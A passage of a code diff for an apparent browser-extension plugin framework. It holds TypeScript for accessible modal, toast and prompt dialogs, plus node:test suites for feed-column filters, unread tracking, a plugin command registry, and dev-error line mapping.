if (!top || event.target === host) return;
// Another focus trap (the site's own modal) fighting ours must not loop forever: give up after 20 tries a second.
const now = Date.now();
if (now - guardWindow > 1000) { guardWindow = now; guardCount = 0; }
if (++guardCount > 20) return;
focus(top.lastFocus?.isConnected && top.panel.contains(top.lastFocus) ? top.lastFocus : tabbables(top.panel)[0] ?? top.panel);
};
const syncStack = () => {
stack.forEach((entry, index) => {
const top = index === stack.length - 1;
entry.layer.toggleAttribute('inert', !top);
if (top) entry.layer.removeAttribute('aria-hidden');
else entry.layer.setAttribute('aria-hidden', 'true');
});
if (stack.length) doc.addEventListener('focusin', onFocusIn, true);
else doc.removeEventListener('focusin', onFocusIn, true);
};
function modal(input: ModalOptions, owner?: Owner): ModalHandle {
ensureRoot();
const opts = input ?? {};
const id = `wb-${++seq}`;
const dismissible = opts.dismissible !== false;
const layer = doc.createElement('div');
layer.className = 'wb-layer';
const backdrop = doc.createElement('div');
backdrop.className = 'wb-backdrop';
const panel = doc.createElement('div');
panel.className = 'wb-dialog';
panel.setAttribute('role', opts.role === 'alertdialog' ? 'alertdialog' : 'dialog');
panel.setAttribute('aria-modal', 'true');
panel.tabIndex = -1;
panel.style.setProperty('--wb-dialog-width', `${dialogWidth(opts.width)}px`);
if (opts.tone) panel.style.setProperty('--wb-tone', TONES[opts.tone]);
if (opts.title || (dismissible && opts.closeButton)) {
const head = doc.createElement('div');
head.className = 'wb-head';
if (opts.tone && opts.tone !== 'neutral') {
const icon = doc.createElement('span');
icon.className = 'wb-icon';
icon.appendChild(svg(ICONS[opts.tone]));
head.appendChild(icon);
}
const title = doc.createElement('h2');
title.className = 'wb-title';
title.id = `${id}-title`;
title.textContent = opts.title ?? '';
head.appendChild(title);
if (dismissible && (opts.closeButton ?? !!opts.title)) {
const x = doc.createElement('button');
x.type = 'button';
x.className = 'wb-close';
x.setAttribute('aria-label', word('kit.close'));
x.appendChild(svg(ICONS.close));
x.addEventListener('click', () => dismiss());
head.appendChild(x);
}
panel.appendChild(head);
if (opts.title) panel.setAttribute('aria-labelledby', title.id);
}
if (!opts.title) panel.setAttribute('aria-label', opts.label || opts.message || word('kit.dialog'));
if (opts.message) {
const message = doc.createElement('p');
message.className = 'wb-message';
message.id = `${id}-message`;
message.textContent = opts.message;
panel.appendChild(message);
panel.setAttribute('aria-describedby', message.id);
}
// The dialog's own CSS, on the kit's root while the dialog is open (adopted where possible).
let ownStyles: RootStyles | null = null;
if (opts.css) {
if (root && isShadowRoot(root)) ownStyles = adoptStyles(root, opts.css);
else {
const style = doc.createElement('style');
style.textContent = opts.css;
panel.appendChild(style);
}
}
const body = doc.createElement('div');
body.className = 'wb-body';
panel.appendChild(body);
const error = doc.createElement('p');
error.className = 'wb-error';
error.id = `${id}-error`;
error.setAttribute('role', 'alert');
error.hidden = true;
panel.appendChild(error);
const actionRow = doc.createElement('div');
actionRow.className = opts.stackActions ? 'wb-actions wb-stack' : 'wb-actions';
panel.appendChild(actionRow);
let isOpen = true;
let resolveClosed!: (value: unknown) => void;
const closed = new Promise<unknown>(resolve => { resolveClosed = resolve; });
const buttons: HTMLButtonElement[] = [];
let defaultAction: { action: ModalAction; button: HTMLButtonElement } | null = null;
let autoFocus: HTMLElement | null = null;
// Busy buttons are aria-disabled, not disabled: a disabled button would drop keyboard focus.
let busy = false;
const setBusy = (value: boolean) => {
busy = value;
for (const button of buttons) {
if (value) { button.setAttribute('aria-disabled', 'true'); button.setAttribute('aria-busy', 'true'); }
else { button.removeAttribute('aria-busy'); if (!button.dataset.disabled) button.removeAttribute('aria-disabled'); }
}
};
const handle: ModalHandle = {
element: panel,
body,
get open() { return isOpen; },
closed,
close: result => close(result),
setError(message) {
error.textContent = message ?? '';
error.hidden = !message;
},
setBusy,
};
const run = async (action: ModalAction) => {
if (!isOpen || busy) return;
let keep = false;
if (action.onClick) {
let result: unknown;
try {
result = action.onClick(handle);
if (result && typeof (result as Promise<unknown>).then === 'function') {
setBusy(true);
try { result = await result; } finally { if (isOpen) setBusy(false); }
}
} catch (err) {
report(err);
handle.setError(err instanceof Error && err.message ? err.message : word('kit.failed'));
return;
}
keep = result === false;
}
if (!keep && isOpen) close('value' in action ? action.value : action.label);
};
for (const action of opts.actions ?? []) {
const button = doc.createElement('button');
button.type = 'button';
button.className = `wb-btn wb-${action.tone ?? 'secondary'}`;
button.textContent = action.label;
if (action.disabled) { button.disabled = true; button.dataset.disabled = '1'; }
button.addEventListener('click', () => { void run(action); });
buttons.push(button);
actionRow.appendChild(button);
if (action.default && !defaultAction) defaultAction = { action, button };
if (action.autoFocus && !autoFocus) autoFocus = button;
}
const fill = (content: Content) => {
if (content === null || content === undefined) return;
if (typeof content === 'string') { const p = doc.createElement('p'); p.className = 'wb-message'; p.textContent = content; body.appendChild(p); }
else if (typeof content === 'function') content(body);
else body.appendChild(content);
};
try { fill(opts.content); } catch (err) { report(err); }
const dismiss = () => { if (isOpen) close(opts.dismissValue); };
const entry: OpenModal = { layer, panel, handle, dismiss, returnTo: deepActiveElement(doc), lastFocus: null };
const ownerEntry: Entry = { close: () => dismiss() };
owner?.add(ownerEntry);
function close(result?: unknown) {
if (!isOpen) return;
isOpen = false;
owner?.delete(ownerEntry);
const index = stack.indexOf(entry);
const wasTop = index === stack.length - 1;
if (index >= 0) stack.splice(index, 1);
syncStack();
layer.setAttribute('inert', '');
layer.classList.add('wb-closing');
later(() => { layer.remove(); ownStyles?.remove(); }, reducedMotion() ? 0 : 130);
// Dialogs opened from this one return focus where this one would have.
for (const other of stack) if (other.returnTo && layer.contains(other.returnTo)) other.returnTo = entry.returnTo;
// Focus never lingers in a dialog that is animating out (keys would still go to its fields).
const active = deepActiveElement(doc);
if (active && layer.contains(active)) active.blur();
if (wasTop) {
const next = stack[stack.length - 1];
const back = entry.returnTo;
if (back?.isConnected && (!next || next.panel.contains(back))) focus(back);
if (next && deepActiveElement(doc) !== back) focus(next.lastFocus?.isConnected && next.panel.contains(next.lastFocus) ? next.lastFocus : next.panel);
}
try { opts.onClose?.(result); } catch (err) { report(err); }
resolveClosed(result);
maybeTeardown();
}
// Keyboard: Tab stays inside; Esc dismisses; Enter runs the default action from a single-line field.
layer.addEventListener('keydown', event => {
if (stack[stack.length - 1] !== entry) return;
// Keys that belong to an input method (composing CJK text) are not ours.
if (event.isComposing || event.keyCode === 229) return;
if (event.key === 'Tab') {
const list = tabbables(panel);
const active = deepActiveElement(doc);
const next = trapIndex(list.length, active ? list.indexOf(active) : -1, event.shiftKey);
if (list.length === 0) { event.preventDefault(); focus(panel); }
else if (next >= 0) { event.preventDefault(); focus(list[next]); }
} else if (event.key === 'Escape') {
event.preventDefault();
if (dismissible) dismiss();
} else if (event.key === 'Enter' && defaultAction && !defaultAction.button.disabled && !busy) {
const target = event.composedPath()[0] as HTMLElement;
const tag = target?.nodeName;
const singleLine = tag === 'INPUT' && !/^(checkbox|radio|button|submit|reset|file)$/i.test((target as HTMLInputElement).type);
const multilineSubmit = tag === 'TEXTAREA' && (event.ctrlKey || event.metaKey);
if (singleLine || multilineSubmit || target === panel) {
event.preventDefault();
void run(defaultAction.action);
}
}
});
layer.addEventListener('focusin', event => { entry.lastFocus = event.composedPath()[0] as HTMLElement; });
// A backdrop click counts only when the press also started on it (a text selection dragged out
// of a field must not close the dialog).
let pressedBackdrop = false;
backdrop.addEventListener('pointerdown', () => { pressedBackdrop = true; });
// Pressing the backdrop must not move focus out of the dialog (to <body>, where keys reach the page).
backdrop.addEventListener('mousedown', event => event.preventDefault());
// Focus that drops to nothing (a click on a non-focusable spot, a removed element) comes back.
layer.addEventListener('focusout', event => {
if (event.relatedTarget) return;
win.setTimeout(() => {
if (!isOpen || stack[stack.length - 1] !== entry) return;
const active = deepActiveElement(doc);
if (!active || active === doc.body || active === doc.documentElement) focus(entry.lastFocus?.isConnected ? entry.lastFocus : panel);
}, 0);
});
layer.addEventListener('pointerup', event => {
const onBackdrop = pressedBackdrop && event.target === backdrop;
pressedBackdrop = false;
if (onBackdrop && opts.closeOnBackdrop && dismissible) dismiss();
});
// The page behind never scrolls while a dialog is open.
layer.addEventListener('wheel', event => {
let node = event.target as HTMLElement | null;
while (node && node !== layer) {
if (node.scrollHeight > node.clientHeight + 1 && /auto|scroll/.test(win.getComputedStyle(node).overflowY)) {
const down = event.deltaY > 0;
if (down ? node.scrollTop + node.clientHeight < node.scrollHeight - 1 : node.scrollTop > 0) return;
}
node = node.parentElement;
}
event.preventDefault();
}, { passive: false });
layer.append(backdrop, panel);
layers!.appendChild(layer);
stack.push(entry);
syncStack();
let initial: HTMLElement | null = null;
try { initial = typeof opts.initialFocus === 'string' ? panel.querySelector<HTMLElement>(opts.initialFocus) : opts.initialFocus ?? null; } catch (err) { report(err); }
const firstField = panel.querySelector<HTMLElement>('.wb-body input:not([type="hidden"]):not([disabled]), .wb-body textarea:not([disabled]), .wb-body select:not([disabled])');
focus(initial ?? autoFocus ?? firstField ?? defaultAction?.button ?? buttons[0] ?? panel);
return handle;
}
function toast(message: string, input?: ToastOptions | number, owner?: Owner): ToastHandle {
ensureRoot();
const opts: ToastOptions = typeof input === 'number' ? { duration: input } : input ?? {};
const tone = opts.tone ?? 'neutral';
const text = String(message ?? '');
let ownerId = 0;
if (owner) { ownerId = ownerIds.get(owner) ?? ++seq; ownerIds.set(owner, ownerId); }
const key = `${ownerId}|${tone}|${text}|${opts.action?.label ?? ''}`;
// The same message again restarts the visible one instead of stacking a copy.
const same = toasts.find(item => item.key === key);
if (same) {
same.restart();
return { element: same.element, close: same.close, closed: same.closed };
}
const element = doc.createElement('div');
element.className = 'wb-toast';
element.dataset.tone = tone;
element.setAttribute('role', tone === 'danger' ? 'alert' : 'status');
if (tone !== 'neutral') {
const icon = doc.createElement('span');
icon.className = 'wb-toast-icon';
icon.appendChild(svg(ICONS[tone]));
element.appendChild(icon);
}
const label = doc.createElement('span');
label.className = 'wb-toast-text';
label.textContent = text;
element.appendChild(label);
let resolveClosed!: () => void;
const closed = new Promise<void>(resolve => { resolveClosed = resolve; });
let timer = 0;
let open = true;
const duration = toastDuration(opts);
const ownerEntry: Entry = { close: () => close() };
let held = false;
const start = () => { win.clearTimeout(timer); if (duration > 0 && !held) timer = win.setTimeout(close, duration); };
const hold = (value: boolean) => { held = value; if (value) win.clearTimeout(timer); else start(); };
function close() {
if (!open) return;
open = false;
win.clearTimeout(timer);
// A focused toast going away hands focus back to the open dialog (or lets go of it).
const active = deepActiveElement(doc);
if (active && element.contains(active)) {
const top = stack[stack.length - 1];
if (top) focus(top.lastFocus?.isConnected && top.panel.contains(top.lastFocus) ? top.lastFocus : top.panel);
else active.blur();
}
owner?.delete(ownerEntry);
const index = toasts.indexOf(item);
if (index >= 0) toasts.splice(index, 1);
element.classList.add('wb-closing');
later(() => element.remove(), reducedMotion() ? 0 : 150);
resolveClosed();
maybeTeardown();
}
if (opts.action) {
const action = opts.action;
const button = doc.createElement('button');
button.type = 'button';
button.className = 'wb-toast-action';
button.textContent = action.label;
button.addEventListener('click', () => {
try { action.onClick(); } catch (err) { report(err); }
close();
});
element.appendChild(button);
}
const dismissButton = doc.createElement('button');
dismissButton.type = 'button';
dismissButton.className = 'wb-toast-close';
dismissButton.setAttribute('aria-label', word('kit.dismiss'));
dismissButton.appendChild(svg(ICONS.close));
dismissButton.addEventListener('click', () => close());
element.appendChild(dismissButton);
// Hovering or focusing a toast holds it on screen.
element.addEventListener('pointerenter', () => hold(true));
element.addEventListener('pointerleave', () => hold(false));
element.addEventListener('focusin', () => hold(true));
element.addEventListener('focusout', () => hold(false));
element.addEventListener('keydown', event => { if (event.key === 'Escape') close(); });
const item = { element, key, restart: start, close, closed };
toasts.push(item);
owner?.add(ownerEntry);
toastRegion!.appendChild(element);
while (toasts.length > MAX_TOASTS) toasts[0]!.close();
start();
return { element, close, closed };
}
const text = (value: unknown) => (typeof value === 'string' ? value : value == null ? '' : String(value));
function alert(input: AlertOptions | string, owner?: Owner): Promise<void> {
const opts: AlertOptions = typeof input === 'string' ? { message: input } : input ?? {};
const handle = modal({
role: 'alertdialog', title: text(opts.title) || undefined, message: text(opts.message) || undefined, tone: opts.tone,
width: 'sm', closeOnBackdrop: true, closeButton: false, stackActions: true,
actions: [{ label: opts.okLabel || word('kit.ok'), tone: 'primary', default: true, autoFocus: true, value: undefined }],
}, owner);
return handle.closed.then(() => undefined);
}
function confirm(input: ConfirmOptions | string, owner?: Owner): Promise<boolean> {
const opts: ConfirmOptions = typeof input === 'string' ? { message: input } : input ?? {};
const danger = !!opts.danger;
const handle = modal({
role: 'alertdialog', title: text(opts.title) || undefined, message: text(opts.message) || undefined,
width: 'sm', closeOnBackdrop: true, closeButton: false, stackActions: true, dismissValue: false,
actions: [
// A destructive confirmation starts on Cancel, so Enter never destroys by accident.
{ label: opts.confirmLabel || (danger ? word('kit.delete') : word('kit.ok')), tone: danger ? 'danger' : 'primary', value: true, default: !danger, autoFocus: !danger },
{ label: opts.cancelLabel || word('kit.cancel'), tone: 'secondary', value: false, autoFocus: danger },
],
}, owner);
return handle.closed.then(result => result === true);
}
function prompt(input: PromptOptions | string, owner?: Owner): Promise<string | null> {
const opts: PromptOptions = typeof input === 'string' ? { title: input } : input ?? {};
const field = doc.createElement(opts.multiline ? 'textarea' : 'input') as HTMLInputElement | HTMLTextAreaElement;
if (field instanceof win.HTMLInputElement) field.type = 'text';
field.className = opts.multiline ? '' : 'wb-input';
field.value = text(opts.value);
if (opts.placeholder) field.placeholder = opts.placeholder;
if (opts.maxLength && opts.maxLength > 0) field.maxLength = Math.floor(opts.maxLength);
field.spellcheck = true;
let tried = false;
let handle!: ModalHandle;
const check = () => {
let message: string | null = null;
try { message = validationMessage(opts.validate?.(field.value), word('kit.checkValue')); } catch (err) { message = err instanceof Error ? err.message : word('kit.checkValue'); }
field.setAttribute('aria-invalid', message ? 'true' : 'false');
handle.setError(message);
return !message;
};
field.addEventListener('input', () => { if (tried) check(); });
handle = modal({
role: 'dialog', title: text(opts.title) || undefined, message: text(opts.message) || undefined, width: opts.width ?? 'sm', dismissValue: null,
content: body => {
const wrap = doc.createElement('label');
wrap.className = 'wb-field';
if (opts.label) {
const caption = doc.createElement('span');
caption.className = 'wb-label';
caption.textContent = opts.label;
wrap.appendChild(caption);
} else field.setAttribute('aria-label', text(opts.title) || word('kit.value'));
wrap.appendChild(field);
body.appendChild(wrap);
},
actions: [
{ label: opts.cancelLabel || word('kit.cancel'), tone: 'secondary', value: null },
{ label: opts.confirmLabel || word('kit.ok'), tone: 'primary', default: true, onClick: () => { tried = true; return check() ? undefined : false; }, value: undefined },
],
initialFocus: field,
}, owner);
field.setAttribute('aria-describedby', `${handle.element.querySelector('.wb-error')?.id ?? ''}`);
// The OK action's result is the field's value at the moment it closed.
return handle.closed.then(result => (result === null || !tried ? null : field.value));
}
const make = (owner?: Owner): UiKit => Object.freeze({
toast: (message: string, options?: ToastOptions | number) => toast(message, options, owner),
alert: (options: AlertOptions | string) => alert(options, owner),
confirm: (options: ConfirmOptions | string) => confirm(options, owner),
prompt: (options: PromptOptions | string) => prompt(options, owner),
dialog: (options: DialogOptions) => modal({ closeOnBackdrop: false, ...options, role: 'dialog' }, owner),
modal: (options: ModalOptions) => modal(options, owner),
h: (tag: string, props?: ElementProps | null, ...children: Child[]) => buildElement(doc, tag, props, ...children),
});
const base = make();
return Object.freeze({
...base,
scoped() {
const owner: Owner = new Set();
return {
kit: make(owner),
dispose() {
for (const entry of [...owner]) {
try { entry.close(); } catch (err) { report(err); }
}
owner.clear();
},
};
},
openModals: () => stack.length,
});
}

View file

@ -0,0 +1,118 @@
import assert from 'node:assert/strict';
import test from 'node:test';
import {
buildColumnCss, compileFilters, createUnreadTracker, isSourcePage, normalizeColumnConfig, parseTerm, type ColumnSite,
} from '../src/column.ts';
const SITE: ColumnSite = {
prefix: 'demo',
keep: '#content',
hide: ['nav.rail', '.fab'],
sourceHide: ['.page-title'],
itemSelector: 'article',
itemId: item => item.getAttribute('data-id'),
css: density => `html[data-demo-column][data-demo-density="${density}"] article { padding: 0 }`,
};
const item = (text: string, kind: Partial<{ reply: boolean; repost: boolean; media: boolean }> = {}) =>
({ text, reply: false, repost: false, media: false, ...kind });
test('column: config is normalized and bounded', () => {
assert.equal(normalizeColumnConfig(null), null);
assert.equal(normalizeColumnConfig({ url: 5 }), null);
const config = normalizeColumnConfig({
url: 'https://site.test/home', density: 'weird', filters: { terms: ['ok', '', 7, 'x'.repeat(201), ...Array(40).fill('t')], mediaOnly: 'yes' },
readSeq: -3, jumpSeq: 2.7, kind: 'home',
})!;
assert.equal(config.density, 'compact');
assert.equal(config.filters.terms.length, 32);
assert.equal(config.filters.terms[0], 'ok');
assert.equal(config.filters.mediaOnly, false);
assert.deepEqual([config.readSeq, config.jumpSeq, config.unread], [0, 2, true]);
});
test('column: terms are keywords or /regex/flags; bad regexes are skipped', () => {
assert.equal(parseTerm(' Crypto '), 'crypto');
const re = parseTerm('/gm+\\b/');
assert.ok(re instanceof RegExp && re.flags.includes('i'), 'regexes are case-insensitive');
assert.equal(parseTerm('/(unclosed/'), null);
assert.equal(parseTerm('/a/g'), '/a/g', 'only i, m, s, u flags make a regex');
assert.equal(parseTerm(' '), null);
});
test('column: filters hide replies, reposts, non-media and matching text', () => {
const none = compileFilters({ terms: [], hideReplies: false, hideReposts: false, mediaOnly: false });
assert.equal(none(item('anything', { reply: true })), false);
const f = compileFilters({ terms: ['giveaway', '/^gm\\b/', '/(bad/'], hideReplies: true, hideReposts: true, mediaOnly: false });
assert.equal(f(item('Huge GIVEAWAY today')), true);
assert.equal(f(item('GM frens')), true);
assert.equal(f(item('a normal post')), false);
assert.equal(f(item('normal', { reply: true })), true);
assert.equal(f(item('normal', { repost: true })), true);
const media = compileFilters({ terms: [], hideReplies: false, hideReposts: false, mediaOnly: true });
assert.equal(media(item('text only')), true);
assert.equal(media(item('photo', { media: true })), false);
});
test('column: the source page is compared by origin, path and query', () => {
assert.equal(isSourcePage('https://site.test/home/', 'https://site.test/home'), true);
assert.equal(isSourcePage('https://site.test/search?q=a&f=live', 'https://site.test/search?q=a&f=live'), true);
assert.equal(isSourcePage('https://site.test/search?q=b&f=live', 'https://site.test/search?q=a&f=live'), false);
assert.equal(isSourcePage('https://site.test/home/status/1', 'https://site.test/home'), false);
assert.equal(isSourcePage('https://other.test/home', 'https://site.test/home'), false);
assert.equal(isSourcePage('nonsense', 'https://site.test/home'), false);
});
test('column: CSS is scoped to the column attribute and hides chrome', () => {
const css = buildColumnCss(SITE, 'comfortable');
for (const line of css.split('\n').filter(Boolean)) assert.match(line, /^html\[data-demo-column\]/, line);
assert.match(css, /:is\(nav\.rail, \.fab\) \{ display: none !important; \}/);
assert.match(css, /html\[data-demo-column\]\[data-demo-column-home\] :is\(\.page-title\)/);
assert.match(css, /#content \{ width: 100% !important; max-width: none !important/);
assert.match(css, /\[data-demo-filtered\] \{ display: none !important; \}/);
assert.match(css, /data-demo-density="comfortable"/);
});
test('unread: first render is the baseline; new ids above the read ones count until seen', () => {
const t = createUnreadTracker();
t.observe([], new Set());
t.observe(['c', 'b', 'a'], new Set(['c', 'b', 'a']));
assert.equal(t.count(), 0, 'baseline');
// Two new posts rendered above while the user is scrolled down (not on screen).
t.observe(['e', 'd', 'c', 'b', 'a'], new Set(['a']));
assert.equal(t.count(), 2);
assert.equal(t.nextUnread(['e', 'd', 'c', 'b', 'a']), 'd', 'the one closest to what was read');
// Older posts loaded below are read.
t.observe(['e', 'd', 'c', 'b', 'a', 'z', 'y'], new Set());
assert.equal(t.count(), 2);
t.seen('d');
assert.equal(t.count(), 1);
// A new post rendered while on screen is read at once.
t.observe(['f', 'e', 'd', 'c'], new Set(['f']));
assert.equal(t.count(), 1);
assert.equal(t.isUnread('e'), true);
t.markRead();
assert.equal(t.count(), 0);
assert.equal(t.nextUnread(['f', 'e']), null);
});
test('unread: a new id below what is on screen is an older item, never unread', () => {
const t = createUnreadTracker();
t.observe(['a', 'b', 'c'], new Set(['a']));
// X re-keys or lazily renders an item further down while the top is on screen.
t.observe(['a', 'x', 'b', 'c'], new Set(['a']));
assert.equal(t.count(), 0);
// Scrolled down (c on screen), a new one on top is unread; one between the top and c is not.
t.observe(['n', 'a', 'y', 'b', 'c'], new Set(['c']));
assert.equal(t.isUnread('n'), true);
assert.equal(t.isUnread('y'), false);
});
test('unread: items rendered on screen again are marked read by observe', () => {
const t = createUnreadTracker();
t.observe(['a'], new Set());
t.observe(['b', 'a'], new Set());
assert.equal(t.count(), 1);
t.observe(['b', 'a'], new Set(['b']));
assert.equal(t.count(), 0);
});

View file

@ -0,0 +1,146 @@
import assert from 'node:assert/strict';
import test from 'node:test';
import { COMMAND_LIMITS, NO_OWNER, createCommandRegistry, matchesShortcut, parseShortcut } from '../src/commands.ts';
import { createCorePluginApi, type PluginApiSite } from '../src/pluginApi.ts';
const sync = { schedule: (fn: () => void) => fn() };
test('commands belong to the plugin being started and are listed as strings only', () => {
const registry = createCommandRegistry(sync);
let ran = 0;
registry.withOwner('bt-focus-mode.plugin.js', () => {
registry.register({ id: 'toggle', title: ' Focus Mode:\ntoggle ', keywords: ['distraction', 'hide', 42 as unknown as string], run: () => { ran += 1; } });
});
registry.register({ id: 'later', title: 'Registered later', run: () => {} });
assert.deepEqual(registry.list(), [
{ id: 'bt-focus-mode.plugin.js:toggle', title: 'Focus Mode: toggle', keywords: 'distraction hide' },
{ id: `${NO_OWNER}:later`, title: 'Registered later', keywords: '' },
]);
for (const info of registry.list()) assert.deepEqual(Object.keys(info).sort(), ['id', 'keywords', 'title']);
assert.equal(registry.run('bt-focus-mode.plugin.js:toggle'), true);
assert.equal(ran, 1);
assert.equal(registry.run('bt-focus-mode.plugin.js:missing'), false);
assert.equal(registry.run('toggle'), false, 'the owner is part of the id');
});
test('stopping a plugin removes its commands; others stay', () => {
const registry = createCommandRegistry(sync);
const seen: number[] = [];
registry.onChange(list => seen.push(list.length));
registry.withOwner('a.plugin.js', () => { registry.register({ id: 'one', title: 'One', run() {} }); registry.register({ id: 'two', title: 'Two', run() {} }); });
registry.withOwner('b.plugin.js', () => registry.register({ id: 'one', title: 'B one', run() {} }));
registry.removeOwner('a.plugin.js');
assert.deepEqual(registry.list().map(item => item.id), ['b.plugin.js:one']);
assert.deepEqual(seen, [1, 2, 3, 1]);
registry.removeOwner('nobody.plugin.js');
assert.equal(seen.length, 4, 'no change, no notification');
});
test('disposers, re-registration and caps', () => {
const registry = createCommandRegistry(sync);
const dispose = registry.withOwner('a.plugin.js', () => registry.register({ id: 'x', title: 'X', run() {} }));
registry.withOwner('a.plugin.js', () => registry.register({ id: 'x', title: 'X again', run() {} }));
assert.deepEqual(registry.list().map(item => item.title), ['X again'], 'same id replaces in place');
dispose();
assert.equal(registry.list().length, 1, 'a stale disposer does not remove the replacement');
registry.removeOwner('a.plugin.js');
registry.withOwner('a.plugin.js', () => {
for (let i = 0; i < COMMAND_LIMITS.perOwner; i += 1) registry.register({ id: `c${i}`, title: `C${i}`, run() {} });
assert.throws(() => registry.register({ id: 'overflow', title: 'Overflow', run() {} }), /per plugin/);
});
for (let owner = 0; registry.list().length < COMMAND_LIMITS.total; owner += 1) {
registry.withOwner(`p${owner}.plugin.js`, () => {
for (let i = 0; i < COMMAND_LIMITS.perOwner && registry.list().length < COMMAND_LIMITS.total; i += 1) registry.register({ id: `c${i}`, title: 'T', run() {} });
});
}
assert.throws(() => registry.withOwner('z.plugin.js', () => registry.register({ id: 'one', title: 'One', run() {} })), /per page/);
const fresh = createCommandRegistry(sync);
for (const bad of [
{ id: '', title: 'T', run() {} },
{ id: 'has space', title: 'T', run() {} },
{ id: 'x'.repeat(65), title: 'T', run() {} },
{ id: 'ok', title: ' ', run() {} },
{ id: 'ok', title: 'T', run: 'nope' },
{ id: 'ok', title: 'T', shortcut: 'Hyper+Q', run() {} },
]) assert.throws(() => fresh.register(bad as never));
fresh.register({ id: 'long', title: 't'.repeat(500), keywords: 'k'.repeat(500), run() {} });
const [long] = fresh.list();
assert.equal(long!.title.length, COMMAND_LIMITS.title);
assert.equal(long!.keywords.length, COMMAND_LIMITS.keywords);
assert.throws(() => fresh.withOwner('bad/owner', () => fresh.registerFor('bad/owner', { id: 'a', title: 'A', run() {} })), /owner/);
});
test('a failing command reports and never throws into the caller', async () => {
const errors: unknown[] = [];
const registry = createCommandRegistry({ ...sync, report: error => errors.push(error) });
registry.register({ id: 'boom', title: 'Boom', run() { throw new Error('boom'); } });
registry.register({ id: 'async', title: 'Async', run: async () => { throw new Error('later'); } });
assert.equal(registry.run('_:boom'), true);
assert.equal(registry.run('_:async'), true);
await new Promise(resolve => setTimeout(resolve, 0));
assert.equal(errors.length, 2);
});
test('shortcuts parse strictly and match physical keys; typing and repeats never run them', () => {
assert.deepEqual(parseShortcut('Alt+Shift+F'), { key: 'f', ctrl: false, alt: true, shift: true, meta: false });
assert.equal(parseShortcut('Ctrl+'), null);
assert.equal(parseShortcut('Ctrl+Shift'), null);
assert.equal(parseShortcut('Ctrl+Enter')?.key, 'enter');
const ev = (over: Partial<KeyboardEvent>) => ({ key: '', code: '', ctrlKey: false, altKey: false, shiftKey: false, metaKey: false, ...over });
const altShiftF = parseShortcut('alt+shift+f')!;
assert.ok(matchesShortcut(ev({ key: 'Ï', code: 'KeyF', altKey: true, shiftKey: true }), altShiftF), 'Alt changes the character on macOS');
assert.ok(!matchesShortcut(ev({ key: 'F', code: 'KeyF', shiftKey: true }), altShiftF));
const listeners = new Map<string, (event: Event) => void>();
const target = { addEventListener: (type: string, fn: EventListenerOrEventListenerObject) => listeners.set(type, fn as (event: Event) => void), removeEventListener: (type: string) => listeners.delete(type) };
let typing = false;
let ran = 0;
const registry = createCommandRegistry({ ...sync, target, isTyping: () => typing });
assert.equal(listeners.size, 0, 'no key listener without a shortcut');
const dispose = registry.register({ id: 'f', title: 'F', shortcut: 'Alt+Shift+F', run: () => { ran += 1; } });
const press = (over: Record<string, unknown>) => {
let prevented = false;
listeners.get('keydown')!({ key: 'F', code: 'KeyF', ctrlKey: false, altKey: true, shiftKey: true, metaKey: false, repeat: false, defaultPrevented: false, preventDefault: () => { prevented = true; }, stopPropagation() {}, ...over } as unknown as Event);
return prevented;
};
assert.equal(press({}), true);
press({ repeat: true });
typing = true; press({}); typing = false;
assert.equal(ran, 1);
dispose();
assert.equal(listeners.size, 0, 'listener removed with the last shortcut');
});
const SITE: PluginApiSite = {
name: 'Demo', product: 'wayBetter for Test', storagePrefix: 'demo-plugin:', styleDataKey: 'demoPlugin',
toastId: 'demo-toast', toastBackground: '#111', itemSelector: 'article', chordKeys: [],
};
function fakeWindow() {
const target = { addEventListener() {}, removeEventListener() {} };
const doc = { ...target, activeElement: null, documentElement: {}, head: { appendChild() {} }, querySelectorAll: () => [], createElement: () => ({ dataset: {}, remove() {} }) };
return { ...target, document: doc, location: { href: 'https://site.test/' }, localStorage: null, requestAnimationFrame: () => 1, cancelAnimationFrame() {}, MutationObserver: class { observe() {} disconnect() {} } } as unknown as Window & typeof globalThis;
}
test('api.commands and scope.commands: a scope keeps its plugin and removes its commands on dispose', async () => {
const api = createCorePluginApi(fakeWindow(), SITE);
assert.ok(Object.isFrozen(api.commands));
// As the host's start script does: construct + start() inside withOwner.
const scope = api.commands.withOwner('bt-thread-reader.plugin.js', () => {
const created = api.scope();
created.commands.register({ id: 'open', title: 'Thread Reader: open', run() {} });
return created;
});
// Registered later (e.g. after an await) through the scope: still the same plugin.
scope.commands.register({ id: 'settings', title: 'Thread Reader: settings', run() {} });
api.commands.register({ id: 'loose', title: 'Loose', run() {} });
assert.deepEqual(api.commands.list().map(item => item.id), ['bt-thread-reader.plugin.js:open', 'bt-thread-reader.plugin.js:settings', '_:loose']);
const lists: string[][] = [];
api.commands.onChange(list => lists.push(list.map(item => item.id)));
scope.dispose();
await Promise.resolve();
assert.deepEqual(api.commands.list().map(item => item.id), ['_:loose']);
assert.deepEqual(lists, [['_:loose']], 'one batched change for the whole dispose');
});

View file

@ -0,0 +1,27 @@
import assert from 'node:assert/strict';
import test from 'node:test';
import { devErrorLocation, formatDevError } from '../src/devErrors.ts';
test('a start failure is mapped back to the plugin file line (evaluated with a sourceURL)', () => {
// What the host evaluates: one wrapper line, then the file (dev_start_script, START_SCRIPT_LINE_OFFSET = 1).
const file = 'My Plugin.plugin.js';
const source = 'module.exports = class {\n start() {\n null.boom;\n }\n};';
let caught: unknown;
try {
// eslint-disable-next-line no-eval
const Plugin = (0, eval)(`(function(){const module={exports:{}};(function(module){\n${source}\n})(module);return module.exports;})\n//# sourceURL=wb-dev/My%20Plugin.plugin.js`)();
new Plugin().start();
} catch (error) { caught = error; }
assert.ok(caught instanceof TypeError);
const location = devErrorLocation(caught, file);
assert.equal(location.line, 3, 'line 3 of the file, not of the wrapper');
assert.ok(location.column && location.column > 0);
assert.match(formatDevError(location), /^My Plugin\.plugin\.js:3:\d+ — TypeError: /);
});
test('errors without a frame in the file keep the file name and a one-line message', () => {
const location = devErrorLocation('bad\nsecond line', 'a.plugin.js');
assert.deepEqual(location, { file: 'a.plugin.js', line: null, column: null, message: 'bad' });
assert.equal(formatDevError(location), 'a.plugin.js — bad');
assert.equal(devErrorLocation(new Error('x'.repeat(1000)), 'a.plugin.js').message.length, 300);
});

View file

@ -0,0 +1,226 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { readFileSync, readdirSync } from 'node:fs';
import { dirname, join } from 'node:path';
import { fileURLToPath } from 'node:url';
import {
argumentShapes, createI18n, direction, fallbackChain, formatMessage, matchLocale, normalizeLocale,
parseMessage, placeholders, pluralCategories, relativeParts, type Catalog,
} from '../src/i18n.ts';
